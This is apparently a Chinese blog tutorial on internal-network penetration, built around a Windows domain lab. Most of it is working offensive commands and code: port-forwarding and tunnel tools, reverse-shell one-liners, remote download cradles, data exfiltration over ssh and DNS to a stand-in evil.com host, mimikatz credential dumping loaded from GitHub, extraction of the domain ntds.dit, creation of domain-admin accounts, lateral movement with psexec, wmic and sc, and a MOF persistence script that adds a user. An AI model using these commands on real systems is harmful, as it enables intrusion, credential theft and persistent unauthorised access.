從零開始內網滲透學習
域環境搭建 準備: DC: win2008 DM: win2003 DM: winxp
win2008(域控) 1、修改計算機名:
2、配置固定ip: 其中閘道器設定錯誤,應該為192.168.206.2,開始預設的網管
3、伺服器管理器---角色:
4、配置域服務: dos下面輸入dcpromo
Ps:這裡可能會因為本地administrator的密碼規則不合要求,導致安裝失敗,改一個強密碼
5、設定林根域: 林就是在多域情況下形成的森林,根表示基礎,其他在此根部衍生 具體見:http://angerfire.blog.51cto.com/198455/144123/
6、域資料存放的地址
win2003、winxp和08配置差不多
注意點是:
1、配置網路 dns server應該為主域控ip地址
2、加入域控
域已經搭建完成,主域控會生成一個krbtgt
賬號 他是Windows活動目錄中使用的客戶/伺服器認證協議,為通訊雙方提供雙向身份認證
參考:
AD域環境的搭建 基於Server 2008 R2 http://www.it165.net/os/html/201306/5493.html
Acitve Directory 域環境的搭建http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html
埠轉發&&邊界代理 此類工具很多,測試一兩個經典的。 #####埠轉發 1、windows lcx
監聽1234埠,轉發資料到2333埠
本地:lcx.exe -listen 1234 2333
將目標的3389轉發到本地的1234埠
遠端:lcx.exe -slave ip 1234 127.0.0.1 3389
netsh 只支援tcp協議
新增轉發規則
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具適用於,有一臺雙網路卡伺服器,你可以通過它進行內網通訊,比如這個,你連線192.168.206.101:3388埠是連線到100上面的3389
刪除轉發規則
netsh interface portproxy delete v4tov4 listenport=9090
檢視現有規則
netsh interface portproxy show all
xp需要安裝ipv6
netsh interface ipv6 install
更加詳細參考:http://aofengblog.blog.163.com/blog/static/631702120148573851740/
2、linux portmap
監聽1234埠,轉發資料到2333埠
本地:./portmap -m 2 -p1 1234 -p2 2333
將目標的3389轉發到本地的1234埠
./portmap -m 1 -p1 3389 -h2 ip -p2 1234
iptables
1、編輯配置檔案/etc/sysctl.conf的net.ipv4.ip_forward = 1
2、關閉服務
service iptables stop
3、配置規則
需要訪問的內網地址:192.168.206.101
內網邊界web伺服器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
4、儲存&&重啟服務
service iptables save && service iptables start
socket代理 xsocks 1、windows
進行代理後,在windows下推薦使用Proxifier進行socket連線,規則自己定義
2、linux 進行代理後,推薦使用proxychains進行socket連線 kali下的配置檔案: /etc/proxychains.conf 新增一條:socks5 127.0.0.1 8888
然後在命令前加proxychains就進行了代理
神器推薦 http://rootkiter.com/EarthWorm/ 跨平臺+埠轉發+socket代理結合體!darksn0w師傅的推薦。 ew_port_socket.zip
基於http的轉發與socket代理(低許可權下的滲透) 如果目標是在dmz裡面,資料除了web其他出不來,便可以利用http進行 1、埠轉發 tunna
>埠轉發(將遠端3389轉發到本地1234)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>連線不能中斷服務(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>轉發192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389
具體參考:http://drops.wooyun.org/tools/650
2、socks代理 reGeorg
python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081
ssh通道 http://staff.washington.edu/corey/fw/ssh-port-forwarding.html 1、埠轉發
本地訪問127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地轉發
訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠端轉發
可以將dmz_host的hostport埠通過remote_ip轉發到本地的port埠
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,監聽本地port
可以將dmz_host的hostport埠轉發到remote_ip的port埠
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類
2、socks
socket代理:
ssh -qTfnN -D port remotehost
參考redrain大牛的文章:http://drops.wooyun.org/tips/5234
獲取shell
常規shell反彈 幾個常用:
1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
各種語言一句話反彈shell:
http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shell
突破防火牆的imcp_shell反彈 有時候防火牆可能對tcp進行來處理,然而對imcp並沒有做限制的時候,就可以來一波~ kali執行(其中的ip地址填寫為目標地址win03):
win03執行:
icmpsh.exe -t kali_ip -d 500 -b 30 -s 128
可以看到icmp進行通訊的
Shell反彈不出的時候 主要針對:本機kali不是外網或者目標在dmz裡面反彈不出shell,可以通過這種直連shell然後再通過http的埠轉發到本地的metasploit
1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe
先生成一個bind_shell
2、本地利用tunna工具進行埠轉發
python proxy.py -u http://lemon.com/conn.jsp -l 1111 -r 12345 v
3、
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp
set LPORT 1111
set RHOST 127.0.0.1
參考的文章: https://www.91ri.org/11722.html
正向shell
1、nc -e /bin/sh -lp 1234
2、nc.exe -e cmd.exe -lp 1234
資訊收集(結構分析)
基本命令 1、獲取當前組的計算機名(一般remark有Dc可能是域控):
C:\Documents and Settings\Administrator\Desktop>net view
Server Name Remark
-----------------------------------------------------------------------------
\\DC1
\\DM-WINXP
\\DM_WIN03
The command completed successfully.
2、檢視所有域
C:\Documents and Settings\Administrator\Desktop>net view /domain
Domain
-----------------------------------------------------------------------------
CENTOSO
The command completed successfully.
3、從計算機名獲取ipv4地址
C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4
Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:
Reply from 192.168.206.100: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.206.100:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Ps:如果計算機名很多的時候,可以利用bat批量ping獲取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
以下執行命令時候會傳送到域控查詢,如果滲透的機器不是域使用者許可權,則會報錯
The request will be processed at a domain controller for domain
System error 1326 has occurred.
Logon failure: unknown user name or bad password.
4、檢視域中的使用者名稱
dsquery user
或者:
C:\Users\lemon\Desktop>net user /domain
User accounts for \\DC1
-------------------------------------------------------------------------------
Administrator Guest krbtgt
lemon pentest
The command completed successfully.
5、查詢域組名稱
C:\Users\lemon\Desktop>net group /domain
Group Accounts for \\DC1
----------------------------------------------
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
The command completed successfully.
6、查詢域管理員
C:\Users\lemon\Desktop>net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-----------------------------------------------------------
Administrator
7、新增域管理員賬號
新增普通域使用者
net user lemon iam@L3m0n /add /domain
將普通域使用者提升為域管理員
net group "Domain Admins" lemon /add /domain
8、檢視當前計算機名,全名,使用者名稱,系統版本,工作站域,登陸域
C:\Documents and Settings\Administrator\Desktop>net config Workstation
Computer name \\DM_WIN03
Full Computer name DM_win03.centoso.com
User name Administrator
Workstation active on
NetbiosSmb (000000000000)
NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)
Software version Microsoft Windows Server 2003
Workstation domain CENTOSO
Workstation Domain DNS Name centoso.com
Logon domain DM_WIN03
COM Open Timeout (sec) 0
COM Send Count (byte) 16
COM Send Timeout (msec) 250
9、檢視域控制器(多域控制器的時候,而且只能用在域控制器上)
net group "Domain controllers"
10、查詢所有計算機名稱
dsquery computer
下面這條查詢的時候,域控不會列出
net group "Domain Computers" /domain
11、net命令
>1、對映磁碟到本地
net use z: \\dc01\sysvol
>2、檢視共享
net view \\192.168.0.1
>3、開啟一個共享名為app$,在d:\config
>net share app$=d:\config
12、跟蹤路由
tracert 8.8.8.8
定位域控 1、檢視域時間及域伺服器的名字
C:\Users\lemon\Desktop>net time /domain
Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM
2、
C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp.
*** Can't find server address for '_ldap._tcp.':
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.206.100: Timed out
Server: UnKnown
Address: 192.168.206.100
*** UnKnown can't find -type=SRV: Non-existent domain
3、通過ipconfig配置查詢dns地址
ipconfig/all
4、查詢域控
net group "Domain Controllers" /domain
埠收集 埠方面的攻防需要花費的時間太多,引用一篇非常讚的埠總結文章
埠號 | 埠說明 | 攻擊技巧 |
---|---|---|
21/22/69 | ftp/tftp:檔案傳輸協議 | 爆破\嗅探\溢位\後門 |
22 | ssh:遠端連線 | 爆破OpenSSH;28個退格 |
23 | telnet:遠端連線 | 爆破\嗅探 |
25 | smtp:郵件服務 | 郵件偽造 |
53 | DNS:域名系統 | DNS區域傳輸\DNS劫持\DNS快取投毒\DNS欺騙\利用DNS隧道技術刺透防火牆 |
67/68 | dhcp | 劫持\欺騙 |
110 | pop3 | 爆破 |
139 | samba | 爆破\未授權訪問\遠端程式碼執行 |
143 | imap | 爆破 |
161 | snmp | 爆破 |
389 | ldap | 注入攻擊\未授權訪問 |
512/513/514 | linux r | 直接使用rlogin |
873 | rsync | 未授權訪問 |
1080 | socket | 爆破:進行內網滲透 |
1352 | lotus | 爆破:弱口令\資訊洩漏:原始碼 |
1433 | mssql | 爆破:使用系統使用者登入\注入攻擊 |
1521 | oracle | 爆破:TNS\注入攻擊 |
2049 | nfs | 配置不當 |
2181 | zookeeper | 未授權訪問 |
3306 | mysql | 爆破\拒絕服務\注入 |
3389 | rdp | 爆破\Shift後門 |
4848 | glassfish | 爆破:控制檯弱口令\認證繞過 |
5000 | sybase/DB2 | 爆破\注入 |
5432 | postgresql | 緩衝區溢位\注入攻擊\爆破:弱口令 |
5632 | pcanywhere | 拒絕服務\程式碼執行 |
5900 | vnc | 爆破:弱口令\認證繞過 |
6379 | redis | 未授權訪問\爆破:弱口令 |
7001 | weblogic | Java反序列化\控制檯弱口令\控制檯部署webshell |
80/443/8080 | web | 常見web攻擊\控制檯爆破\對應伺服器版本漏洞 |
8069 | zabbix | 遠端命令執行 |
9090 | websphere控制檯 | 爆破:控制檯弱口令\Java反序列 |
9200/9300 | elasticsearch | 遠端程式碼執行 |
11211 | memcacache | 未授權訪問 |
27017 | mongodb | 爆破\未授權訪問 |
引用:https://www.91ri.org/15441.html
wooyun也有討論:http://zone.wooyun.org/content/18959
對於埠也就是一個服務的利用,上文也只是大概的講述,一些常見的詳細利用與防禦可以看看:http://wiki.wooyun.org/enterprise:server
掃描分析 1、nbtscan 獲取mac地址:
nbtstat -A 192.168.1.99
獲取計算機名\分析dc\是否開放共享
nbtscan 192.168.1.0/24
其中資訊: SHARING 表示開放來共享, DC 表示可能是域控,或者是輔助域控 U=user 猜測此計算機登陸名 IIS 表示執行來web80 EXCHANGE Microsoft Exchange服務 NOTES Lotus Notes服務
2、WinScanX 需要登入賬號能夠獲取目標很詳細的內容。其中還有snmp獲取,windows密碼猜解(但是容易被殺,nishang中也實現出一個類似的資訊獲取/Gather/Get-Information.ps1)
WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt
3、埠掃描 InsightScan proxy_socket後,直接
proxychains python scanner.py 192.168.0.0/24 -N
http://insight-labs.org/?p=981
內網檔案傳輸 windows下檔案傳輸 1、powershell檔案下載 powershell突破限制執行:powershell -ExecutionPolicy Bypass -File .\1.ps1
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")
2、vbs指令碼檔案下載
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2
下載執行:
cscript test.vbs
3、bitsadmin win03測試沒有,win08有
bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip
4、檔案共享 對映了一個,結果沒有許可權寫
net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword
5、使用telnet接收資料
服務端:nc -lvp 23 < nc.exe
下載端:telnet ip -f c:\nc.exe
6、hta 儲存為.hta檔案後執行
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\demo.zip", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
linux下檔案傳輸 1、perl指令碼檔案下載 kali下測試成功,centos5.5下,由於沒有LWP::Simple這個,導致下載失敗
#!/usr/bin/perl
use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");
2、python檔案下載
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
3、ruby檔案下載 centos5.5沒有ruby環境
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}
4、wget檔案下載
wget http://lemon.com/file.zip -P /root/1.zip
其中-P是儲存到指定目錄
5、一邊tar一邊ssh上傳
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
6、利用dns傳輸資料
tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done
但是有時候會因為沒找到而導致資料重複,對資料分析有點影響
其他傳輸方式 1、php指令碼檔案下載
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
2、ftp檔案下載
>**windows下**
>ftp下載是需要互動,但是也可以這樣去執行下載
open host
username
password
bin
lcd c:/
get file
bye
>將這個內容儲存為1.txt, ftp -s:"c:\1.txt"
>在mssql命令執行裡面(不知道為什麼單行執行一個echo,總是顯示兩行),個人一般喜歡這樣
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt
>**linux下**
>bash檔案
ftp 127.0.0.1
username
password
get file
exit
>或者使用busybox裡面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip
3、nc檔案傳輸
服務端:cat file | nc -l 1234
下載端:nc host_ip 1234 > file
4、使用SMB傳送檔案 本地linux的smb環境配置
>vi /etc/samba/smb.conf
[test]
comment = File Server Share
path = /tmp/
browseable = yes
writable = yes
guest ok = yes
read only = no
create mask = 0755
>service samba start
下載端
net use o: \\192.168.206.129\test
dir o:
檔案編譯 1、powershell將exe轉為txt,再txt轉為exe nishang中的小指令碼,測試一下將nc.exe轉化為nc.txt再轉化為nc1.exe ExetoText.ps1
[byte[]] $hexdump = get-content -encoding byte -path "nc.exe"
[System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump))
TexttoExe.ps1
[String]$hexdump = get-content -path "nc.txt"
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("nc1.exe", $temp)
2、csc.exe編譯原始碼 csc.exe在C:\Windows\Microsoft.NET\Framework\的各種版本之下
csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs
3、debug程式 hex功能能將hex檔案轉換為exe檔案(win08_x64沒有這個,win03_x32有,聽說是x32才有這個)
思路:
- 把需要上傳的exe轉換成十六進位制hex的形式
- 通過echo命令將hex程式碼寫入檔案(echo也是有長度限制的)
- 使用debug功能將hex程式碼還原出exe檔案
將ncc.txt的內容一條一條的在cmd下面執行,最後可以獲取到123.hex、1.dll、nc.exe exe2bat不支援大於64kb的檔案
hash抓取 #####hash簡介 windows hash:
| | 2000 | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| | LM | √ | √ | √ | | NTLM | √ | √ | √ | √ | √ | √ | √|
前面三個,當密碼超過14位時候會採用NTLM加密 test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: 前一部分是LM Hash,後一部分是NTLM Hash 當LM Hash是AAD3B435B51404EEAAD3B435B51404EE 這表示空密碼或者是未使用LM_HASH
Hash一般儲存在兩個地方: SAM檔案,儲存在本機 對應本地使用者 NTDS.DIT檔案,儲存在域控上 對應域使用者
本機hash+明文抓取 1、Get-PassHashes.ps1
2、導登錄檔+本地分析 Win2000和XP需要先提到SYSTEM,03開始直接可以reg save 匯出的檔案大,效率低,但是安全(測試的時候和QuarkPwDump抓取的hash不一致)
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
3、QuarkPwDump
QuarkPwDump.exe -dhl -o "c:\1.txt"
4、getpass本地賬戶明文抓取 閃電小子根據mimikatz寫的一個記憶體獲取明文密碼
http://bbs.pediy.com/showthread.php?t=156643
win8+win2012明文抓取 修改一個登錄檔就可以抓取了
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
測試失敗 工具:
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
文章地址:https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/
域使用者hash抓取 mimikatz 只能抓取登陸過的使用者hash,無法抓取所有使用者,需要免殺 1、本機測試直接獲取記憶體中的明文密碼
privilege::debug
sekurlsa::logonpasswords
2、非互動式抓明文密碼(webshell中)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
3、powershell載入mimikatz抓取密碼
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
4、ProcDump + Mimikatz本地分析 檔案會比較大,低效,但是安全(繞過殺軟) ps:mimikatz的平臺(platform)要與進行dump的系統(source dump)相容(比如dowm了08的,本地就要用08系統來分析)
遠端:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
本地:
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full
ntds.dit的匯出+QuarkPwDump讀取分析 無法抓取所有使用者,需要免殺
這個方法分為兩步: 第一步是利用工具匯出ntds.dit 第二步是利用QuarkPwDump去分析hash
1、ntds.dit的匯出
- ntdsutil win2008開始DC中自帶的工具
a.互動式
snapshot activate instance ntds create mount xxx
做完後unmount然後需要再delet一下
b.非互動
ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {GUID}" quit quit copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
- vshadow 微軟的卷影拷貝工具
vshadow.exe -exec=%ComSpec% C:
其中%ComSpec%是cmd的絕對路徑,它在建立卷影后會啟動一個程式,只有這個程式才能卷影進行操作,其他不能,比如這裡就是用cmd.exe來的 最後exit一下
2、QuarkPwDump分析 https://github.com/quarkslab/quarkspwdump
- 線上提取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit
- 離線提取 需要兩個檔案 ntds.dit 和 system.hiv 其中system.hiv可通過
reg save hklm\system system.hiv
獲取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv
3、實戰中hash匯出流程
1.建立ipc$連線
net use \\DC1\c$ password /user:username
2.複製檔案到DCcopy .\* \\DC1\windows\tasks
3.sc建立遠端服務啟動程式sc \\DC1 create backupntds binPath= "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto error= ignore DisplayName= BackupNTDS
4.啟動服務sc \\DC1 start backupntds
5.刪除服務sc \\DC1 delete backupntds
6.講hash轉移到本地move \\DC1\c$\windows\tasks\hash.txt .
7.刪除記錄檔案del \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\vshadow.exe
注意的兩點是: a.WORK_PATH和你拷貝的地方要相同
b.附件中的QuarkPwDump在win08上面執行報錯,另外修改版可以,所以實戰前還是要測試一下
vssown.vbs + libesedb + NtdsXtract 上面的QuarkPwDump是在win上面分析ntds.dit,這個是linux上面的離線分析 優點是能獲取全部的使用者,不用免殺,但是資料特別大,效率低,另外用vssown.vbs複製出來的ntds.dit資料庫無法使用QuarksPwDump.exe讀取
hash匯出: https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
最後需要copy出system和ntds.dit兩個檔案
c:\windows\system32\config\system
c:\windows\ntds\ntds.dit
cscript vssown.vbs /delete *
本地環境搭建+分析:
libesedb的搭建:
wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz
tar zxvf libesedb-experimental-20151213.tar.gz
cd libesedb-20151213/
./configure
make
cd esedbtools/
(需要把剛剛vbs脫下來的ntds.dit放到kali)
./esedbexport ./ntds.dit
mv ntds.dit.export/ ../../
ntdsxtract工具的安裝:
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(需要把剛剛vbs脫下來的SYSTEM放到/root/SYSTEM)
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'
ntdsdump laterain的推薦:http://z-cg.com/post/ntds_dit_pwd_dumper.html 是zcgonvh大牛根據quarkspwdump修改的,=。=,沒找到和QuarkPwDump那個修改版的區別 獲取ntds.dit和system.hiv之後(不用利用那個vbs匯出,好像並不能分析出來)
利用powershell(DSInternals)分析hash 檢視powershell版本:
$PSVersionTable.PSVersion
看第一個Major
或者
Get-Host | Select-Object Version
Windows Server 2008 R2預設環境下PowerShell版本2.0,應該升級到3.0版本以上,需要.NET Framework 4.0
需要檔案:
ntds.dit(vshadow獲取)
system(reg獲取)
執行命令:
允許執行指令碼:
Set-ExecutionPolicy Unrestricted
匯入模組(測試是win2012_powershell ver4.0):
Import-Module .\DSInternals
(powershell ver5.0)
Install-Module DSInternals
分析hash,並匯出到當前目錄的hash.txt檔案中
1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM'
2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt
這個只是離線分析了ntds.dit檔案,其實也可以線上操作,=。=,不過感覺實戰中遇到的會比較少,畢竟現在主流是win08為域控(以後這個倒不失為一個好方法) 更多詳情參考三好學生大牛的文章:http://drops.wooyun.org/tips/10181
遠端連線&&執行程式at&schtasks 需要開啟Task Scheduler服務 經典流程:
1、進行一個連線
net use \\10.10.24.44\ipc$ 密碼 /user:賬號
2、複製本地檔案到10.10.24.44的share共享目錄(一般是放入admin$這個共享地方(也就是c:\winnt\system32\),或者c$,d$)
copy 4.bat \\10.10.24.44\share
3、檢視10.10.24.44伺服器的時間
net time \\10.10.24.44
4、新增at任務執行
at \\10.10.24.44 6:21 \\10.10.24.44\share\4.bat
這個6:21指的是上午的時間,如果想新增下午的,則是6.21PM
5、檢視新增的所有at任務列表(如果執行了得,就不會顯示)
at \\10.10.24.44
其他命令:
檢視所有連線
net use
刪除連線
net use \\10.10.24.44\share /del
對映共享磁碟到本地
net use z: \\IP\c$ "密碼" /user:"使用者名稱"
刪除共享對映
net use c: /del
net use * /del
at過去後如果找不到網路路徑,則判斷是目標主機已禁用Task Scheduler服務
psexec 第一次執行會彈框,輸入–accepteula這個引數就可以繞過
psexec.exe \\ip –accepteula -u username -p password program.exe
另外兩個比較重要的引數
-c <[路徑]檔名>:拷貝檔案到遠端機器並執行(注意:執行結束後檔案會自動刪除)
-d 不等待程式執行完就返回
比如想上傳一個本地的getpass到你遠端連線的伺服器上去:
Psexec.exe \\ip –u user –p pass –c c:\getpass.exe –d
另外學習一波pstools的一些運用: http://blog.csdn.net/sysprogram/article/details/13001781
如果出現找不到網路名,判斷目標主機已禁用ADMIN$共享
wmic net use後:
copy 1.bat \\host\c$\windows\temp\1.bat
wmic /node:ip /user:test /password:testtest process call create c:\windows\temp\1.bat
ps: 如果出現User credentials cannot be used for local connections,應該是呼叫了calc.exe許可權不夠的問題 如果出現Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的裝置沒有啟動,判斷WMI服務被禁用
wmiexec.vbs
1、半互動模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
2、單命令執行
cscript.exe wmiexec.vbs /cmd ip username password "command"
3、wce_hash注入
如果抓取的LM hash是AAD3開頭的,或者是No Password之類的,就用32個0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip
wmi只是建立程式,沒辦法去判斷一個程式是否執行完成(比如ping),這樣就導致wmi.dll刪除不成,下一次又是被佔用,這時候修改一下vbs裡面的名字就好:Const FileName = "wmi1.dll"
,也可以加入-persist
引數(後臺執行)
另外有一個uac問題 非域使用者登陸到win08和2012中,只有administrator可以登陸成功,其他管理員賬號會出現WMIEXEC ERROR: Access is denied 需要在win08或者2012上面執行,然後才可以連線:
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
想更詳細瞭解的可以看看:https://www.91ri.org/12908.html
smbexec 這個可以根據其他共享(c$、ipc$)來獲取一個cmd
先把execserver.exe複製到目標的windows目錄下,然後本機執行
test.exe ip user pass command sharename
powershell remoting 感覺實質上還是操作wmi實現的一個執行程式
SC建立服務執行 一定要注意的是binpath這些設定的後面是有一個空格的
1、系統許可權(其中test為服務名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定使用者許可權啟動
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
schtasks schtasks計劃任務遠端執行
命令原型:
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
For example:
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System
schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host
驗證失敗:win03連到08,xp連到08,xp連到03(但是並沒有真正的成功執行,不知道是不是有姿勢錯了)
更多用法:http://www.feiesoft.com/windows/cmd/schtasks.htm
SMB+MOF || DLL Hijacks 其實這個思路一般都有用到的,比如在mof提權(上傳mof檔案到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持 不過測試新增賬號成功...執行檔案缺失敗了
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin adminaz1 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
PTH + compmgmt.msc
相關文章
- 從零開始學習laravelLaravel
- 從零開始學習KafkaKafka
- 從零開始學習機器學習機器學習
- 從零開始機器學習機器學習
- 從零開始學機器學習——網路應用機器學習
- 內網滲透-初探域滲透內網
- 遊少帥網站運營:從零開始學習網站內容運營學習網站
- 從零開始學習 Go ——安裝Go
- 從零開始學習C++(0)C++
- 從零開始機器學習-03機器學習
- 從零開始機器學習--4機器學習
- 從零開始機器學習--05機器學習
- 《Python深度學習從零開始學》簡介Python深度學習
- Linux內網滲透Linux內網
- 內網滲透工具內網
- 從零開始學習邏輯迴歸邏輯迴歸
- 從零開始學習 React 高階元件React元件
- 從零開始學習如何部署程式碼
- 從零開始學PythonPython
- 從零開始學習OpenGL-14複習光照
